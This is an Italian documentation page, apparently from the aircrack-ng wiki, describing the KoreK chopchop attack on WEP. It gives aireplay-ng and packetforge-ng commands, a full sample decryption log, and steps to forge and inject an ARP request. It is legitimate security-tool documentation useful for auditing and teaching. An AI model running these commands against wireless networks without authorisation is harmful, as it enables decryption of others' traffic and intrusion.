====== KoreK chopchop ====== ===== Descrizione ===== Questo attacco, ammesso che abbia successo, può decifrare un pacchetto dati cifrato con WEP senza conoscere la chiave. Può funzionare anche con chiavi WEP dinamiche. //Questo attacco non recupera la chiave WEP in se, ma rivela il plaintext (testo in chiaro)//. Comunque, non tutti gli access point sono vulnerabili a questo tipo di attacco. Alcuni possono sembrare vulnerabili ma in realtà scartano tutti i pacchetti di lunghezza inferiore a 60 byte. Se l'access point scarta i pacchetti inferiori a 42 byte, aireplay prova ad indovinare il resto dei dati mancanti, per quanto riguarda gli headers sono prevedibili. Se viene catturato un pacchetto IP, esso verifica se il checksum dell'header sia corretto dopo aver indovinato le sue parti mancanti. Questo attacco richiede almeno un pacchetto dati WEP. Se si vuole imparare di più sulla teoria che sta dietro questo attacco, vedere la [[ChopchopTheory|Teoria dell'attacco Chopchop]]. ===== Utilizzo ===== aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0 Dove: *-4 indica l'utilizzo dell'attacco chopchop *-h 00:09:5B:EC:EE:F2 è il MAC address di un client associato o di quello della propria scheda associato mediante l'attacco fake authenticaion * -b 00:14:6C:7E:40:80 è il MAC address dell'Access Point *ath0 è l'interfaccia wireless da utilizzare Anche se non viene mostrato, è possibile usare altri filtri di [[aireplay-ng]]. La pagina principale di [[aireplay-ng]] contiene la lista completa. Filtri tipici potrebbero essere -m e -n per settare la lunghezza minima e massima del pacchetto da selezionare. Se non viene utilizzata l'opzione "-h", viene effettuato un attacco chopchop non autenticato. Vedere l'esempio di sotto per maggiori dettagli. ===== Esempi ===== ==== Esempio con output di esempio ==== Questo è un esempio di attacco chopchop autenticato. Significa che prima bisogna effettuare un attacco di fake authentication ed usare il MAC address con l'opzione "-h". Di conseguenza tutti i pacchetti saranno inviati avendo come sorgente il MAC specificato con l'opzione "-h" e come MAC di destinazione una variazione di 256 combinazioni. aireplay-ng -4 -h 00:09:5B:EC:EE:F2 -b 00:14:6C:7E:40:80 ath0 Dove: *-4 indica l'utilizzo dell'attacco chopchop *-h 00:09:5B:EC:EE:F2 è il MAC address della scheda wireless che deve coincidere con quello utilizzato durante il fake authentication * -b 00:14:6C:7E:40:80 è il MAC address dell'Access Point *ath0 è l'interfaccia wireless da utilizzare Il sistema risponde con: Read 165 packets... Size: 86, FromDS: 1, ToDS: 0 (WEP) BSSID = 00:14:6C:7E:40:80 Dest. MAC = FF:FF:FF:FF:FF:FF Source MAC = 00:40:F4:77:E5:C9 0x0000: 0842 0000 ffff ffff ffff 0014 6c7e 4080 .B..........l~@. 0x0010: 0040 f477 e5c9 603a d600 0000 5fed a222 .@.w..`:...._.." 0x0020: e2ee aa48 8312 f59d c8c0 af5f 3dd8 a543 ...H......._=..C 0x0030: d1ca 0c9b 6aeb fad6 f394 2591 5bf4 2873 ....j.....%.[.(s 0x0040: 16d4 43fb aebb 3ea1 7101 729e 65ca 6905 ..C...>.q.r.e.i. 0x0050: cfeb 4a72 be46 ..Jr.F Use this packet ? y Rispondendo "y" come sopra il systema continua come segue. Saving chosen packet in replay_src-0201-191639.cap Offset 85 ( 0% done) | xor = D3 | pt = 95 | 253 frames written in 760ms Offset 84 ( 1% done) | xor = EB | pt = 55 | 166 frames written in 498ms Offset 83 ( 3% done) | xor = 47 | pt = 35 | 215 frames written in 645ms Offset 82 ( 5% done) | xor = 07 | pt = 4D | 161 frames written in 483ms Offset 81 ( 7% done) | xor = EB | pt = 00 | 12 frames written in 36ms Offset 80 ( 9% done) | xor = CF | pt = 00 | 152 frames written in 456ms Offset 79 (11% done) | xor = 05 | pt = 00 | 29 frames written in 87ms Offset 78 (13% done) | xor = 69 | pt = 00 | 151 frames written in 454ms Offset 77 (15% done) | xor = CA | pt = 00 | 24 frames written in 71ms Offset 76 (17% done) | xor = 65 | pt = 00 | 129 frames written in 387ms Offset 75 (19% done) | xor = 9E | pt = 00 | 36 frames written in 108ms Offset 74 (21% done) | xor = 72 | pt = 00 | 39 frames written in 117ms Offset 73 (23% done) | xor = 01 | pt = 00 | 146 frames written in 438ms Offset 72 (25% done) | xor = 71 | pt = 00 | 83 frames written in 249ms Offset 71 (26% done) | xor = A1 | pt = 00 | 43 frames written in 129ms Offset 70 (28% done) | xor = 3E | pt = 00 | 98 frames written in 294ms Offset 69 (30% done) | xor = BB | pt = 00 | 129 frames written in 387ms Offset 68 (32% done) | xor = AE | pt = 00 | 248 frames written in 744ms Offset 67 (34% done) | xor = FB | pt = 00 | 105 frames written in 315ms Offset 66 (36% done) | xor = 43 | pt = 00 | 101 frames written in 303ms Offset 65 (38% done) | xor = D4 | pt = 00 | 158 frames written in 474ms Offset 64 (40% done) | xor = 16 | pt = 00 | 197 frames written in 591ms Offset 63 (42% done) | xor = 7F | pt = 0C | 72 frames written in 217ms Offset 62 (44% done) | xor = 1F | pt = 37 | 166 frames written in 497ms Offset 61 (46% done) | xor = 5C | pt = A8 | 119 frames written in 357ms Offset 60 (48% done) | xor = 9B | pt = C0 | 229 frames written in 687ms Offset 59 (50% done) | xor = 91 | pt = 00 | 113 frames written in 339ms Offset 58 (51% done) | xor = 25 | pt = 00 | 184 frames written in 552ms Offset 57 (53% done) | xor = 94 | pt = 00 | 33 frames written in 99ms Offset 56 (55% done) | xor = F3 | pt = 00 | 193 frames written in 579ms Offset 55 (57% done) | xor = D6 | pt = 00 | 17 frames written in 51ms Offset 54 (59% done) | xor = FA | pt = 00 | 81 frames written in 243ms Offset 53 (61% done) | xor = EA | pt = 01 | 95 frames written in 285ms Offset 52 (63% done) | xor = 5D | pt = 37 | 24 frames written in 72ms Offset 51 (65% done) | xor = 33 | pt = A8 | 20 frames written in 59ms Offset 50 (67% done) | xor = CC | pt = C0 | 97 frames written in 291ms Offset 49 (69% done) | xor = 03 | pt = C9 | 188 frames written in 566ms Offset 48 (71% done) | xor = 34 | pt = E5 | 48 frames written in 142ms Offset 47 (73% done) | xor = 34 | pt = 77 | 64 frames written in 192ms Offset 46 (75% done) | xor = 51 | pt = F4 | 253 frames written in 759ms Offset 45 (76% done) | xor = 98 | pt = 40 | 109 frames written in 327ms Offset 44 (78% done) | xor = 3D | pt = 00 | 242 frames written in 726ms Offset 43 (80% done) | xor = 5E | pt = 01 | 194 frames written in 583ms Offset 42 (82% done) | xor = AF | pt = 00 | 99 frames written in 296ms Offset 41 (84% done) | xor = C4 | pt = 04 | 164 frames written in 492ms Offset 40 (86% done) | xor = CE | pt = 06 | 69 frames written in 207ms Offset 39 (88% done) | xor = 9D | pt = 00 | 137 frames written in 411ms Offset 38 (90% done) | xor = FD | pt = 08 | 229 frames written in 688ms Offset 37 (92% done) | xor = 13 | pt = 01 | 232 frames written in 695ms Offset 36 (94% done) | xor = 83 | pt = 00 | 19 frames written in 58ms Offset 35 (96% done) | xor = 4E | pt = 06 | 230 frames written in 689ms Sent 957 packets, current guess: B9... The AP appears to drop packets shorter than 35 bytes. Enabling standard workaround: ARP header re-creation. Saving plaintext in replay_dec-0201-191706.cap Saving keystream in replay_dec-0201-191706.xor Completed in 21s (2.29 bytes/s) Successo! Il file "replay_dec-0201-191706.xor" può essere usato in seguito per generare un pacchetto con [[packetforge-ng]] (ad esempio un pacchetto ARP). E' possibile utilizzare anche tcpdump o Wireshark per visualizzare il pacchetto decifrato contenuto in replay_dec-0201-191706.cap. ==== Chopchop senza autenticazione ==== Questo è un esempio di attacco chopchop senza autenticazione. Significa che non è necessario aver effettuato un attacco di fake authentication e che quindi è possibile omettere l'opzione "-h". Di conseguenza tutti i pacchetti saranno inviati avendo come sorgente una combinazione random di 256 MAC address e come destinazione un MAC address broadcast. Questo funziona solo con un numero molto limitato di Access Point (AP). Gli AP vulnerabili invieranno solo un pacchetto di disconnessione (deauthentication) se il pacchetto sorgente risulta valido. In questo caso è stato determinato un byte. aireplay-ng -4 -b 00:14:6C:7E:40:80 ath0 Dove: *-4 indica l'utilizzo dell'attacco chopchop * -b 00:14:6C:7E:40:80 è il MAC address dell'Access Point *ath0 è l'interfaccia wireless da utilizzare ==== Generare un pacchetto ARP ==== 1. Primo, decifrare un pacchetto aireplay-ng -4 ath0 Se non funziona, nella maggior parte dei casi l'access point scarterà il pacchetto perché non conosce il MAC che l'ha inviato. In questo caso bisogna utilizzare il MAC address di un client connesso ed abilitato ad inviare dati in rete: aireplay-ng -4 -h 00:09:5B:EB:C5:2B ath0 2. Dare un'occhiata all'indirizzo IP tcpdump -s 0 -n -e -r replay_dec-0627-022301.cap reading from file replay_dec-0627-022301.cap, link-type [...] IP 192.168.1.2 > 192.168.1.255: icmp 64: echo request seq 1 3. Quindi, realizzare un ARP request. L'IP sorgente (192.168.1.100) non importa, ma l'IP di destinazione (192.168.1.2) deve rispondere all'ARP request. Il MAC sorgente deve appartenere ad un client associato, nel caso in cui l'access point filtri il traffico non associato. packetforge-ng -0 -a 00:14:6C:7E:40:80 -h 00:09:5B:EB:C5:2B -k 192.168.1.2 -l 192.168.1.100 -y replay_dec-0627-022301.xor -w arp.cap 4. Ed iniettare il pacchetto di ARP request realizzato aireplay-ng -2 -r arp.cap ath0 ===== Suggerimenti ===== Quando dire di no ad un pacchetto? Ci si potrebbe chiedere se esistono delle volte in qui bisogna dire “no” alla selezione di un pacchetto specifico. Qui vi sono alcuni esempi sul quando bisognerebbe rispondere no: * La lunghezza del pacchetto è troppo piccola e si vuole/necessita un PRGA più lungo della lunghezza del pacchetto in questione. * Si cerca di decifrare un pacchetto da/verso un client specifico e bisogna attendere un pacchetto da/verso il MAC address di quel client. * Si sceglie appositamente un pacchetto piccolo. Il motivo è che il tempo di decifrazione è lineare alla lunghezza del pacchetto. I pacchetti piccoli prendono meno tempo. ===== Risoluzione dei problemi ===== Vedere anche la risoluzione dei problemi generali di aireplay-ng: [[aireplay-ng#usage_troubleshooting|risoluzione dei problemi di aireplay-ng]]. Sebbene non vi siano soluzioni dirette per l'attacco chopchop, se non è possibile effettuarlo esistono valide alternative da considerare: * [[fragmentation|Attacco Fragmentation]]: Una tecnica alternativa per ottenere il PRGA al fine di realizzare pacchetti per una sequenza di injection. * [[interactive_packet_replay#other_examples|metodo -p 0841]]: Questa tecnica permette di iniettare i pacchetti ricevuti dall'access point e generare IV.